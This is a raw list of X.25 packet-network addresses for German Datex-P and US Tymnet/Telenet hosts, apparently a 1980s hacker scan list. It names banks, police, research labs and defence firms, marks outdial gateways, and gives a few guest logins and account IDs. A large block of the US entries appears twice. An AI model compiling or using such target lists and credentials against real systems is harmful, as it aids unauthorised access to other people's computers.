I 0262 454 000 40103 Airbus
I 0262 454 000 40109 ???
I 0262 454 000 40111 BADGER
D 0262 454 000 40198 Argus IPP-Vax
I 0262 454 000 43100 ADV-Orga-Meyer & Co.
A 0262 454 000 50233 Altos Hamburg (althh) (Gast)
I 0262 454 000 8001 DYVA MARK J VAX at DESY
I 0262 454 000 90047 AEG-Telefunken
A 0262 454 000 90092 Data-General
A 0262 454 000 90184 Uni Hamburg (VAX) (=UKE?)
I 0262 454 000 90194 Verbraucherbank AG
O 0262 454 000 90241 ???
I 0262 454 000 90258 Desy ( Vax )
I 0262 454 000 90558 Philips VAX
D 0262 454 000 90560 EMBLHH EMBL VAX at Hamburg (Eur.Molecular
Biol.Lab.)
I 0262 454 000 905602 ???
A 0262 454 000 90582 Desy V.24 Switch
A 0262 454 000 91110 Deutsche Mailbox 1
A 0262 454 000 91120 Deutsche Mailbox 2
A 0262 454 000 92210 DESYNET
A 0262 454 000 9306 DYVA MARK J VAX at DESY
D 0262 454 103 90161 Astra Chemicals GmbH
0262 454 106 40206 RCA
A 0262 454 210 40064 COMTES
O 0262 454 210 40108 AEG-Telefunken
I 0262 454 210 40145 AEG-Telefunken
Y 0262 454 210 40244 AEG-Telefunken
O 0262 454 210 42001 Bremen
I 0262 454 210 90302 Computerland VAX
O 0262 454 298 43070 Infex 2
I 0262 454 310 40545 Kiel IMF
A 0262 454 410 30033 Uni Oldenburg
I 0262 454 421 40045 ADV-Orga-Meyer & Co.
I 0262 454 488 40147 Essmann Getraenke GmbH
I 0262 455 110 40081 Airbus
I 0262 455 110 40171 Alli-Frischdienst
A 0262 455 110 42330 Uni Hannover (VM/370)
A 0262 455 110 43020 Nachrichtentechnik (VAX)
I 0262 455 110 701 Uni Hannover
A 0262 455 110 90192 ???
A 0262 455 110 90835 CosmoNet (GAST)
A 0262 455 110 92200 RZ
D 0262 455 151 40212 AEG-Telefunken
I 0262 455 152 90154 Oldenburger Volksbank
I 0262 455 210 40562 Uni Bielefeld (CGK/TR440)
I 0262 455 251 90192 Paderborn
D 0262 455 251 90193 Paderborn
A 0262 455 251 93020 Uni Paderborn (4.3 BSD UNIX)
D 0262 455 362 90057 IUM
I 0262 455 410 40086 Alli-Frischdienst
I 0262 455 410 40162 RZ
I 0262 455 410 40560 Bibliothek
I 0262 455 421 043050 ORION
A 0262 455 510 32804 Uni Goettingen (choose VAX or IBM)
I 0262 455 521 90172 Spar & Darlehenskassen
I 0262 455 818 104 Anders Frido GmbH
I 0262 455 910 40094 Essmann Getraenke GmbH
I 0262 455 931 40095 Ruhr AG
I 0262 456 061 40097 Polydress Plastic GmbH
I 0262 456 102 4301 DEC Frankfurt
I 0262 456 102 90145 Nadler-Werke GmbH
I 0262 456 103 40332 Amann KG
I 0262 456 104 0250 Tymnet
A 0262 456 106 40254 Alfa Service Partner (Primenet)
I 0262 456 106 90119 Alfa Service Partner
I 0262 456 110 40009 IBM Centre for Info and Doc, Germany
I 0262 456 110 40037 Control Data (Test.-Serv.C4,ZZA201,CDC)
I 0262 456 110 40076 Autonet
I 0262 456 110 40105 Nixdorf Computer
I 0262 456 110 40106 Nixdorf Computer
I 0262 456 110 40107 CN01
I 0262 456 110 40187 WAX Bank FRA
I 0262 456 110 40240 City-Bank FFM (Uni Bochum ??)
I 0262 456 110 40245 ??
I 0262 456 110 40250 Tymnet (Id=Information)
I 0262 456 110 40303 American Express
I 0262 456 110 40305 American Express
I 0262 456 110 40311 AMC
I 0262 456 110 40365 AMP
I 0262 456 110 90211 Nixdorf Computer
I 0262 456 110 90212 Nixdorf Computer
I 0262 456 110 90322 American Express
I 0262 456 110 90347 American Express
I 0262 456 121 40207 ADV-Orga-Meyer & Co.
I 0262 456 121 40217 BKA
I 0262 456 121 40225 BKA
I 0262 456 121 90580 BKA
I 0262 456 131 40138 Uni Mainz RZ
I 0262 456 131 40545 RZ
Y 0262 456 131 90031 Allg.Kreditversicherung
Y 0262 456 151 40282 ???
A 0262 456 151 40516 Uni Darmstadt (Siemens 7.xxx)
A 0262 456 151 40547 GSI Darmstadt (EMMA-VAX 8600)
A 0262 456 151 42807 GMD Darmstadt (CADMUS 9240)
I 0262 456 172 90070 A-Kredit
I 0262 456 193 40082 Apotheken Marketing
D 0262 456 196 40095 Data General Schwalbach
A 0262 456 196 40107 Int.Doc.Chem.
A 0262 456 210 40000 Telebox der DBP (ID INF100,Telebox)
A 0262 456 210 40014 ACF/VTAM
A 0262 456 210 40025 Oeva
A 0262 456 210 40026 HOST
D 0262 456 210 40027 BASF/FER.VAX 8600
I 0262 456 210 40097 Nadler-Werke GmbH
I 0262 456 210 40217 Primenet
I 0262 456 210 40324 Abacus
D 0262 456 210 40508 VCON0.BASF.A6
A 0262 456 210 40516 CN01
A 0262 456 210 40532
A 0262 456 210 40580 DYNAPAC MULTI-PAD.25
A 0262 456 210 40581 DYNAPAC MULTI-PAD.25
A 0262 456 210 40582
A 0262 456 210 90000 Telebox der DBP
I 0262 456 221 3002 EMBL European Microbiology Lab (or European
Molecular Biological Lab.) (=ALKOR?)
D 0262 456 221 40201 DKFZ (Heidelberg)
I 0262 456 221 40244 Franny (=Max Planck VAX=MPI?)
I 0262 456 310 40252
I 0262 456 310 421
D 0262 456 310 424
I 0262 456 310 4302
I 0262 456 340 40136 Nadler-Werke GmbH
A 0262 456 410 30021 HRZ-Giessen
I 0262 456 410 40142 Aachener + Muenchener Versicherung
A 0262 456 410 90040 HRZ Giessen (CDCNET-X.25)
I 0262 456 410 90828 Ernaehrungswissenschaften
I 0262 456 441 90335 Leerwe GmbH
I 0262 456 615 142804 GMD, Darmstadt
A 0262 456 673 13330 Geonet 1 (ex IMCA)
A 0262 456 673 13340 Geonet 3
I 0262 456 673 30070 IMCA-Mailbox, Solmser Str. 16, D-6419
Haunetal-Staerklos
I 0262 456 721 40305 Alfa Metalcraft Corp.
I 0262 456 810 40010 Teleprint Saarbrueckener Zeitung
I 0262 456 810 40071 Nadler-Werke GmbH
I 0262 456 810 40076 SAARBRU Univ of Saarbruecken (Saarland RZ)
A 0262 456 900 10174 Beilstein Gmelin RZ (COMDOS ?)
O 0262 456 900 10552 FIZ-Technik
O 0262 456 900 30040 Nixdorf Computer
A 0262 456 900 40076 Autonet
D 0262 456 900 40106 Nixdorf
I 0262 456 900 40505 AEG-Telefunken
0262 456 900 40506 AEG-Telefunken
A 0262 456 900 90125
I 0262 456 900 90506 Nixdorf
I 0262 456 900 9308 SYNTAX
I 0262 457 010 40025 ?
A 0262 457 071 40266 Zentrum fuer Datenverarbeitung
0262 457 071 40529 Zentrale Verw.
0262 457 071 90182 ADW-Wirtschaftsberatung
D 0262 457 071 90249 Bibliothek
D 0262 457 110 10023 Hohenheim Bibliothek
D 0262 457 110 211 Rechenzentrum
Dr0262 457 110 40028
Dr0262 457 110 40035 Primenet !! No CTRL-P clr !!
B 0262 457 110 40124 Stahl EDV-Service
0262 457 110 40129 Allg.Rentenanstalt
0262 457 110 40147 MAHU Verlag
D 0262 457 110 90059 Bibliothek
0262 457 110 90103 Data General
0262 457 110 90246 Hohenheim DokumentationsSt.
D 0262 457 110 90316 RMI-Net
0262 457 110 90557 Stahl EDV-Service
A 0262 457 110 90593 Unix, Informatik (ifistg)
0262 457 141 90098 Aigner Buchhandlung
X 0262 457 210 40002 V750
Br0262 457 210 40025 Badenia
0262 457 210 40031 IITB-Datenverarbeitung
D 0262 457 210 40135 Fraunhofer Institut
C 0262 457 210 40189 Uni Karlsruhe, RZ (until 10-APR-88)
X 0262 457 210 40248 Uni Karlsruhe, LINK (=NETONE?)
A 0262 457 210 42100 Uni Karlsruhe, IRAV2 (VAX 8200)
A 0262 457 210 42140 Uni Karlsruhe, RZ (since 11-APR-88)
D 0262 457 210 4303 Telematik
A 0262 457 247 40001 INKA FIZ-Chemie 2 (German Centre for
Tech.?)
A 0262 457 247 40141 INKA FIZ-Chemie 1
A 0262 457 247 40211 CASGER STN Internat. Karlsruhe
D 0262 457 310 90269 RZ Bereich OE
0262 457 310 921 RZ
0262 457 351 40032 AFD-Arbeitsgruppe F.DV
A 0262 457 531 90008 Informationswissenschaften
D 0262 457 531 90094 RZ
0262 457 552 90320 Alno-Moebel
D 0262 457 610 300 Uni Freiburg, 9600bps
D 0262 457 610 370 Uni Freiburg, Sperry Univac
D 0262 457 610 40079 Albert Ludwig, Uni-Bibliothek
0262 457 610 40166 AEG-Telefunken
0262 457 610 40306 Alpha-Buch GmbH
B 0262 457 610 420 Uni Freiburg, 4800bps
B 0262 457 610 480 Uni Freiburg, Sperry Univac
X 0262 457 610 520 Uni Freiburg, Uni Bibliothek
0262 457 641 40265 Anders Ernst
0262 457 721 40071 Kienzle Computer
0262 457 721 40072 Kienzle Computer
0262 457 721 40171 Kienzle Computer
0262 457 721 90004 Kienzle Computer
0262 457 721 90226 Kienzle Computer
0262 457 810 40222 Dietrich Georg GmbH
B 0262 458 151 40114 Kejo GmbH (Josef Keller)
D 0262 458 210 40114 Bibliothek
0262 458 210 40120 NCR
0262 458 510 30236 Passau RZ
D 0262 458 710 40171 Transfer Data Test GmbH
0310 600 021 0 Procter and Gamble
0310 600 022 6 Anistics
0310 600 022 6 Interactive Market Systems (Anistics)
0310 600 023 2 Scientific Timesharing
0310 600 024 2 Timesharing Resources
0310 600 025 2 Computer Science Corporation
0310 600 025 5 Timesharing Associates
0310 600 027 6 Management Decision Systems Inc
0310 600 028 8 SRI
0310 600 028 8 SRI San Francisco (UNIX)
0310 600 028 8 Stanford Research Institute (SRI)
0310 600 030 3 Scientific Timesharing
0310 600 030 7 Infomedia Corporation
0310 600 032 3 TRW Defence & Space Systems Group
0310 600 040 1 TMCS Public Network
0310 600 043 2 Interactive Market Systems
0310 600 046 6 Bibliographic Retrieval Services
B 0310 600 058 1 BRS
0310 600 063 3 Public TYMNET/TRWNET Interlink
0310 600 079 3 J&J Host
B 0310 600 105 3
0310 600 133 0 MULTICS, HVN 862-3642
0310 600 140 0 TMCS Public Network
B 0310 600 150 9 Orbit (SDC)
B 0310 600 157 878 BIX
D 0310 600 165 9 BYTE Information Exchange (GUEST,GUEST)
A 0310 600 166 3 People Link
0310 600 181 9 TMCS Public Network
0310 600 182 8 FRX Faifax Outdial Host (Tymnet)
0310 600 186 4 SUNGARDS Central Computer Facility Networks
0310 600 189 2 Primenet (certain hours)
B 0310 600 195 2 VAX
B 0310 600 197 6 Outdial NY
A 0310 600 197 7
0310 600 209 5 COMODEX Online System
0310 600 209 8 D & B
0310 600 209 9 D & B
0310 600 210 0 D & B
0310 600 210 9 TYMNET/15B (inter-link)
B 0310 600 220 7,OUT Outdial
0310 600 228 6 Primenet TFGI
0310 600 229 9 CONSILIUM
0310 600 232 901*D MFE Magnetic Fusion Energy Centre, Lawrence
Livermore
B 0310 600 236 1 Denver Oil&Gas
0310 600 241 Bank Of America
0310 600 245 3 Primenet
B 0310 600 254 5 SEISMO Centre for Seismic Studies
B 0310 600 255 Outdial NY
A 0310 600 262 3 VAX/VMS (GUEST ???)
B 0310 600 262 3003 VTINET
B 0310 600 262 460 SUMEX
B 0310 600 263 5 QUOTRON Wall Street (Boerse n.y.)
B 0310 600 266 400 SLAC SLAC on Tymnet
B 0310 600 267 7 The New York Times
0310 600 269 4 PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
STRATUS-2
0310 600 279 0 VM/370
0310 600 286 4 RCA Semicustom
B 0310 600 302 70000 VTI NETONE
0310 600 307 9 VM/370
0310 600 309 2 TYMNET/Protected Access Service Sys.
Inter-link
0310 600 316 8 VM/370
0310 600 321 4 VM/370
0310 600 322 0 VM/370
0310 600 322 1 VM/370
0310 600 357 2 NORTH AMERICA DATA CENTRE
0310 600 360 4 VM/370
0310 600 404 1 RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9 ?
A 0310 600 413 1 ?
0310 600 413 7 TSO, VM/370
0310 600 416 300 Oakridge, Tennessee
0310 600 417 4 VM/370
0310 600 420 6 MAINSTREAMS
0310 600 423 500 Oakridge, Tennessee
B 0310 600 430 5 BIOVAX
0310 600 434 1 (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5 Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5 VAX
0310 600 459 97
0310 600 474 3 TYMNET Info Service
X 0310 600 502 0 Outdial Fairfax
0310 600 522 9 Uni.of Pencilvania School of Arts and
Science
0310 600 526 7 CHANEL 01
X 0310 600 531 7 Outdial St.Louis
B 0310 600 532 0 DEC Soft. Serv.
0310 600 556 9 STRATUS/32
0310 600 557 1 STRATUS/32
0310 600 560 3 (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200 FNAL Fermilab
B 0310 600 562 226 Fermilab 2
B 0310 600 578 78 BIX
B 0310 600 584 401 Washington Post
B 0310 600 61 DIALOG1 Lockheed Info Systems
0310 600 61*DSDDIPSSL ORBIT2 SDC Search Service
0310 600 628 1 EDCS
0310 600 628 3 EDCS
0310 600 643 2 EASYLINK
0310 600 643 4 EASYLINK
0310 600 672 2 International Network
0310 600 68 Stanford SUMEX-AIM. Tenex op syst.
0310 600 683 2 A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7 Outdial NY
0310 600 759 6 (Host) A - VM/370, B - VM/370
? 0310 600 787 Dallas
0310 601 79 Berkley Univ.
0310 602 88 Stanford Research Institute
B 0310 611 467 Cas Online Sys.
0310 614 67 Ohio CAS (Chemical Abstracts Service)
0310 617 001 38 Multics
0310 647 911 065 BIX Lexington Data Service
0310 690 006 1*D DIALOG4 Lockheed DIALOG service
B 0310 690 080 3*D DIALOG3 Lockheed DIALOG service
0310 690 762 6 Emery ADO
0311 0 TELENET USA - Telenet
B 0311 002 130 0039 ECLD
0311 020 100 02000 Insco Systems
0311 020 100 022 New Jersey Outdial 2400 bps (Area 201)
0311 020 100 02300 American Information Services
0311 020 100 02400 The Information Bank
0311 020 100 02500 New Jersey Institute of Technology
0311 020 100 02800 Olcott International Company
0311 020 100 03700 Informatics Inc
0311 020 100 169 MOUTON
0311 020 100 301 New Jersey Outdial 1200 bps (Area 201)
0311 020 101 59200 Scientific Process & Research Inc
0311 020 200 02100 Scientific Timesharing
0311 020 200 02200 Scientific Timesharing
X 0311 020 200 066 Air Force
T 0311 020 200 099 ICIB Information Council Incorporated B system
0311 020 200 1 TELEMAIL US Telemail facility
X 0311 020 200 10900 CIS Chemical Information Systems
A 0311 020 200 115 Outdial 300 bps (Area 202)
A 0311 020 200 116 Outdial 1200 bps (Area 202)
0311 020 200 117 Distr. of Columbia Outdial 2400 bps (Area
202)
B 0311 020 200 141 TELEMAIL US Telemail facility (GT-Net)
0311 020 200 14175 TELEENQ Telenet Enquiry Service
0311 020 200 14175 TELEMAIL1 US Telemail facility
0311 020 200 14275 TELENET US Telenet
0311 020 201 19500 Gallaude College Computer Centre
0311 020 300 06400 NCSS Bureau
0311 020 300 130 Connecticut Outdial 1200 bps (Area 203)
0311 020 301 78900 Yale University Computer Centre
0311 020 400 02900 WATERLO University of Waterloo
0311 020 600 019 Washington Outdial 1200 bps (Area 206)
0311 021 200 02000 Bowne Timesharing
0311 021 200 02500 Interactive Market Systems (Anistics)
0311 021 200 02800 Burroughs Corp (NYC data centre)
0311 021 200 141 JPLM1 Jet Propulsion Laboratory mail 1, USA
0311 021 200 142 JPLM2 Jet Propulsion Laboratory mail 2, USA
0311 021 200 14200 GT-Net Telemail
A 0311 021 200 315 Outdial 300 bps (Area 212)
A 0311 021 200 316 Outdial 1200 bps (Area 212)
D 0311 021 200 412 Outdial 2400 bps (Area 212)
D 0311 021 200 41200 New York City Outdial (Area 212)
0311 021 201 39200 Memorial Dose Distribution Computation
Service
0311 021 201 40600 MAV Systems (300 bps)
0311 021 201 57800 IP Sharp Associates
0311 021 201 58000 SDL International (1200 bps)
0311 021 201 58500 SDL International (300 bps)
0311 021 201 58800 DSL Systems Inc
0311 021 201 59500 SDL International (1200 bps)
0311 021 201 62000 Telestat System Inc
0311 021 201 62700 Telestat Systems Inc
0311 021 300 02200 Interactive Systems Corporation
0311 021 300 02700 Mellonics Information Centre
0311 021 300 029 TRW Defence & Space Systems Group
B 0311 021 300 03300 ORBIT Orbit
0311 021 300 03300*D ORBIT SDC Search Service (300 bps)
0311 021 300 04400 SDC Search Service (1200 bps)
B 0311 021 300 039 USCAL2 Univ. of Southern California
0311 021 300 04114 IHW IHW
0311 021 300 04700 University of Southern California
B 0311 021 300 048 USCAL1 University of Southern California
B 0311 021 300 170 LRS Dialog 2
T 0311 021 300 17000 DIALOG5 Lockheed Info Systems
0311 021 300 17000*D DIALOG2 Lockheed DIALOG service
B 0311 021 300 219 CALTECH Caltech VAX 11/780
0311 021 300 21908 CALTECH Caltech VAX 11/780
0311 021 300 21909 CALTECH2 Caltech VAX 11/780
0311 021 300 412 California Outdial 1200 bps (Area 213)
A 0311 021 300 413 Outdial CA
0311 021 300 668 Adainfo
0311 021 301 353 UCLA UCLA, USA
0311 021 301 40300 Marshall & Swift Publication
0311 021 400 117 Outdial 300 bps (Area 214)
A 0311 021 400 118 Texas Outdial 1200 bps (Area 214)
0311 021 500 022 Pennsylvania Outdial 2400 bps (Area 215)
0311 021 500 112 Pennsylvania Outdial 1200 bps (Area 215)
A 0311 021 600 020 Outdial 300 bps (Area 216)
A 0311 021 600 021 Ohio Outdial 1200 bps (Area 216)
0311 021 700 021 University of Illinois - Urbana
0311 030 100 02000 NLM National Library of Medicine
A 0311 030 100 02400 The Source
B 0311 030 100 038 The Source (ID BSC131 SR3811)
B 0311 030 100 243 ITT Dialcom
0311 030 100 364 Primesoft
A 0311 030 100 38 The Source
B 0311 030 100 633 Toxnet (NLM)
0311 030 101 26500 Informatics Inc
0311 030 300 02000 Computer Sharing Services
0311 030 300 021 Colorado Outdial 2400 bps (Area 303)
0311 030 300 02300 Broker Services Inc
0311 030 300 115 Colorado Outdial 1200 bps (Area 303)
0311 030 301 13100 EDI Computer Services
0311 030 301 13200 EDI Computer Services
0311 030 301 13300 Energy Enterprises
0311 030 500 121 Florida Outdial 1200 bps (Area 305)
0311 030 501 16300 Florida Computer Inc
D 0311 030 508 793 Miami Outdial (Area 305) ?
0311 031 200 02200 National Computer Network of Chicago
0311 031 200 024 Illinois Outdial 2400 bps (Area 217 ?)
0311 031 200 03100 Continental Bank
0311 031 200 03200 Continental Bank
0311 031 200 04900 American Hospital Supply Corporation
0311 031 200 411 Illinois Outdial 1200 bps (Area 217 ?)
0311 031 201 07300 Commodity Information Services
0311 031 268 801 ADPUSA ADP Network Services Ltd.
0311 031 300 024 Michigan Outdial 2400 bps (Area 313)
0311 031 300 04000 ADP Network Services
0311 031 300 06200 Merit International (MIT)
0311 031 300 216 Michigan Outdial 1200 bps (Area 313)
0311 031 301 39800 Merit Computer
0311 031 400 07200 Environmental DataNetwork Inc.
0311 031 401 06500 McDonnel Douglas Automation (300 bps)
0311 031 401 06600 McDonnel Douglas Automation (110 bps)
0311 031 401 06700 McDonnel Douglas Automation (1200 bps)
0311 031 401 61000 McDonnel Douglas Automation (300 bps)
0311 031 500 02000 Bibliographic Retrieval Services
A 0311 040 100 612 Modemcity
A 0311 040 400 114 Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021 California Outdial 1200 bps? (Area 408)
0311 040 800 245 Bridge
B 0311 040 800 246 SCF
0311 041 201 4600 On-Line Systems Inc
0311 041 400 02000 A.O. Smith Data Systems Divisions
0311 041 400 021 Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020 LRS-Dialog 2
A 0311 041 500 02000 DIALOG Lockheed Information Systems
0311 041 500 02000*D DIALOG Lockheed DIALOG service
B 0311 041 500 048 LRS Dialog 2
0311 041 500 04800 DIALOG2 Lockheed Information Systems 2
0311 041 500 04800*D DIALOG1 Lockheed DIALOG service
0311 041 500 117 California Outdial 1200 bps (Area 415)
I 0311 041 500 210 Outdial USA
A 0311 041 500 215 Outdial (Area 415)
A 0311 041 500 217 Outdial (Area 415)
A 0311 041 500 220 Outdial 1200 bps (Area 415)
0311 041 500 48000 Lockheed Information Systems (?)
B 0311 041 500 607 BIONET
B 0311 041 500 609 INTELLIGENETICS
0311 041 501 23600 Hydrocomp Inc (300 bps)
0311 041 501 23700 Hydrocomp Inc (1200 bps)
0311 041 501 26800 ITEL Corp (300 bps)
0311 041 501 26900 ITEL Corp (1200 bps)
0311 041 501 59700 Stanford Library Centre for Inform
Processing
0311 041 501 59700 Standard Centre for Information Processing
O 0311 050 006 1 Nuclear Research
A 0311 050 300 020 Outdial 300 bps (Area 503)
A 0311 050 300 021 Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060 ICN (=LASL)
0310 600 021 0 Procter and Gamble
0310 600 022 6 Anistics
0310 600 022 6 Interactive Market Systems (Anistics)
0310 600 023 2 Scientific Timesharing
0310 600 024 2 Timesharing Resources
0310 600 025 2 Computer Science Corporation
0310 600 025 5 Timesharing Associates
0310 600 027 6 Management Decision Systems Inc
0310 600 028 8 SRI
0310 600 028 8 SRI San Francisco (UNIX)
0310 600 028 8 Stanford Research Institute (SRI)
0310 600 030 3 Scientific Timesharing
0310 600 030 7 Infomedia Corporation
0310 600 032 3 TRW Defence & Space Systems Group
0310 600 040 1 TMCS Public Network
0310 600 043 2 Interactive Market Systems
0310 600 046 6 Bibliographic Retrieval Services
B 0310 600 058 1 BRS
0310 600 063 3 Public TYMNET/TRWNET Interlink
0310 600 079 3 J&J Host
B 0310 600 105 3
0310 600 133 0 MULTICS, HVN 862-3642
0310 600 140 0 TMCS Public Network
B 0310 600 150 9 Orbit (SDC)
B 0310 600 157 878 BIX
D 0310 600 165 9 BYTE Information Exchange (GUEST,GUEST)
A 0310 600 166 3 People Link
0310 600 181 9 TMCS Public Network
0310 600 182 8 FRX Faifax Outdial Host (Tymnet)
0310 600 186 4 SUNGARDS Central Computer Facility Networks
0310 600 189 2 Primenet (certain hours)
B 0310 600 195 2 VAX
B 0310 600 197 6 Outdial NY
A 0310 600 197 7
0310 600 209 5 COMODEX Online System
0310 600 209 8 D & B
0310 600 209 9 D & B
0310 600 210 0 D & B
0310 600 210 9 TYMNET/15B (inter-link)
B 0310 600 220 7,OUT Outdial
0310 600 228 6 Primenet TFGI
0310 600 229 9 CONSILIUM
0310 600 232 901*D MFE Magnetic Fusion Energy Centre, Lawrence
Livermore
B 0310 600 236 1 Denver Oil&Gas
0310 600 241 Bank Of America
0310 600 245 3 Primenet
B 0310 600 254 5 SEISMO Centre for Seismic Studies
B 0310 600 255 Outdial NY
A 0310 600 262 3 VAX/VMS (GUEST ???)
B 0310 600 262 3003 VTINET
B 0310 600 262 460 SUMEX
B 0310 600 263 5 QUOTRON Wall Street (Boerse n.y.)
B 0310 600 266 400 SLAC SLAC on Tymnet
B 0310 600 267 7 The New York Times
0310 600 269 4 PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
STRATUS-2
0310 600 279 0 VM/370
0310 600 286 4 RCA Semicustom
B 0310 600 302 70000 VTI NETONE
0310 600 307 9 VM/370
0310 600 309 2 TYMNET/Protected Access Service Sys.
Inter-link
0310 600 316 8 VM/370
0310 600 321 4 VM/370
0310 600 322 0 VM/370
0310 600 322 1 VM/370
0310 600 357 2 NORTH AMERICA DATA CENTRE
0310 600 360 4 VM/370
0310 600 404 1 RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9 ?
A 0310 600 413 1 ?
0310 600 413 7 TSO, VM/370
0310 600 416 300 Oakridge, Tennessee
0310 600 417 4 VM/370
0310 600 420 6 MAINSTREAMS
0310 600 423 500 Oakridge, Tennessee
B 0310 600 430 5 BIOVAX
0310 600 434 1 (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5 Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5 VAX
0310 600 459 97
0310 600 474 3 TYMNET Info Service
X 0310 600 502 0 Outdial Fairfax
0310 600 522 9 Uni.of Pencilvania School of Arts and
Science
0310 600 526 7 CHANEL 01
X 0310 600 531 7 Outdial St.Louis
B 0310 600 532 0 DEC Soft. Serv.
0310 600 556 9 STRATUS/32
0310 600 557 1 STRATUS/32
0310 600 560 3 (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200 FNAL Fermilab
B 0310 600 562 226 Fermilab 2
B 0310 600 578 78 BIX
B 0310 600 584 401 Washington Post
B 0310 600 61 DIALOG1 Lockheed Info Systems
0310 600 61*DSDDIPSSL ORBIT2 SDC Search Service
0310 600 628 1 EDCS
0310 600 628 3 EDCS
0310 600 643 2 EASYLINK
0310 600 643 4 EASYLINK
0310 600 672 2 International Network
0310 600 68 Stanford SUMEX-AIM. Tenex op syst.
0310 600 683 2 A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7 Outdial NY
0310 600 759 6 (Host) A - VM/370, B - VM/370
? 0310 600 787 Dallas
0310 601 79 Berkley Univ.
0310 602 88 Stanford Research Institute
B 0310 611 467 Cas Online Sys.
0310 614 67 Ohio CAS (Chemical Abstracts Service)
0310 617 001 38 Multics
0310 647 911 065 BIX Lexington Data Service
0310 690 006 1*D DIALOG4 Lockheed DIALOG service
B 0310 690 080 3*D DIALOG3 Lockheed DIALOG service
0310 690 762 6 Emery ADO
0311 0 TELENET USA - Telenet
B 0311 002 130 0039 ECLD
0311 020 100 02000 Insco Systems
0311 020 100 022 New Jersey Outdial 2400 bps (Area 201)
0311 020 100 02300 American Information Services
0311 020 100 02400 The Information Bank
0311 020 100 02500 New Jersey Institute of Technology
0311 020 100 02800 Olcott International Company
0311 020 100 03700 Informatics Inc
0311 020 100 169 MOUTON
0311 020 100 301 New Jersey Outdial 1200 bps (Area 201)
0311 020 101 59200 Scientific Process & Research Inc
0311 020 200 02100 Scientific Timesharing
0311 020 200 02200 Scientific Timesharing
X 0311 020 200 066 Air Force
T 0311 020 200 099 ICIB Information Council Incorporated B system
0311 020 200 1 TELEMAIL US Telemail facility
X 0311 020 200 10900 CIS Chemical Information Systems
A 0311 020 200 115 Outdial 300 bps (Area 202)
A 0311 020 200 116 Outdial 1200 bps (Area 202)
0311 020 200 117 Distr. of Columbia Outdial 2400 bps (Area
202)
B 0311 020 200 141 TELEMAIL US Telemail facility (GT-Net)
0311 020 200 14175 TELEENQ Telenet Enquiry Service
0311 020 200 14175 TELEMAIL1 US Telemail facility
0311 020 200 14275 TELENET US Telenet
0311 020 201 19500 Gallaude College Computer Centre
0311 020 300 06400 NCSS Bureau
0311 020 300 130 Connecticut Outdial 1200 bps (Area 203)
0311 020 301 78900 Yale University Computer Centre
0311 020 400 02900 WATERLO University of Waterloo
0311 020 600 019 Washington Outdial 1200 bps (Area 206)
0311 021 200 02000 Bowne Timesharing
0311 021 200 02500 Interactive Market Systems (Anistics)
0311 021 200 02800 Burroughs Corp (NYC data centre)
0311 021 200 141 JPLM1 Jet Propulsion Laboratory mail 1, USA
0311 021 200 142 JPLM2 Jet Propulsion Laboratory mail 2, USA
0311 021 200 14200 GT-Net Telemail
A 0311 021 200 315 Outdial 300 bps (Area 212)
A 0311 021 200 316 Outdial 1200 bps (Area 212)
D 0311 021 200 412 Outdial 2400 bps (Area 212)
D 0311 021 200 41200 New York City Outdial (Area 212)
0311 021 201 39200 Memorial Dose Distribution Computation
Service
0311 021 201 40600 MAV Systems (300 bps)
0311 021 201 57800 IP Sharp Associates
0311 021 201 58000 SDL International (1200 bps)
0311 021 201 58500 SDL International (300 bps)
0311 021 201 58800 DSL Systems Inc
0311 021 201 59500 SDL International (1200 bps)
0311 021 201 62000 Telestat System Inc
0311 021 201 62700 Telestat Systems Inc
0311 021 300 02200 Interactive Systems Corporation
0311 021 300 02700 Mellonics Information Centre
0311 021 300 029 TRW Defence & Space Systems Group
B 0311 021 300 03300 ORBIT Orbit
0311 021 300 03300*D ORBIT SDC Search Service (300 bps)
0311 021 300 04400 SDC Search Service (1200 bps)
B 0311 021 300 039 USCAL2 Univ. of Southern California
0311 021 300 04114 IHW IHW
0311 021 300 04700 University of Southern California
B 0311 021 300 048 USCAL1 University of Southern California
B 0311 021 300 170 LRS Dialog 2
T 0311 021 300 17000 DIALOG5 Lockheed Info Systems
0311 021 300 17000*D DIALOG2 Lockheed DIALOG service
B 0311 021 300 219 CALTECH Caltech VAX 11/780
0311 021 300 21908 CALTECH Caltech VAX 11/780
0311 021 300 21909 CALTECH2 Caltech VAX 11/780
0311 021 300 412 California Outdial 1200 bps (Area 213)
A 0311 021 300 413 Outdial CA
0311 021 300 668 Adainfo
0311 021 301 353 UCLA UCLA, USA
0311 021 301 40300 Marshall & Swift Publication
0311 021 400 117 Outdial 300 bps (Area 214)
A 0311 021 400 118 Texas Outdial 1200 bps (Area 214)
0311 021 500 022 Pennsylvania Outdial 2400 bps (Area 215)
0311 021 500 112 Pennsylvania Outdial 1200 bps (Area 215)
A 0311 021 600 020 Outdial 300 bps (Area 216)
A 0311 021 600 021 Ohio Outdial 1200 bps (Area 216)
0311 021 700 021 University of Illinois - Urbana
0311 030 100 02000 NLM National Library of Medicine
A 0311 030 100 02400 The Source
B 0311 030 100 038 The Source (ID BSC131 SR3811)
B 0311 030 100 243 ITT Dialcom
0311 030 100 364 Primesoft
A 0311 030 100 38 The Source
B 0311 030 100 633 Toxnet (NLM)
0311 030 101 26500 Informatics Inc
0311 030 300 02000 Computer Sharing Services
0311 030 300 021 Colorado Outdial 2400 bps (Area 303)
0311 030 300 02300 Broker Services Inc
0311 030 300 115 Colorado Outdial 1200 bps (Area 303)
0311 030 301 13100 EDI Computer Services
0311 030 301 13200 EDI Computer Services
0311 030 301 13300 Energy Enterprises
0311 030 500 121 Florida Outdial 1200 bps (Area 305)
0311 030 501 16300 Florida Computer Inc
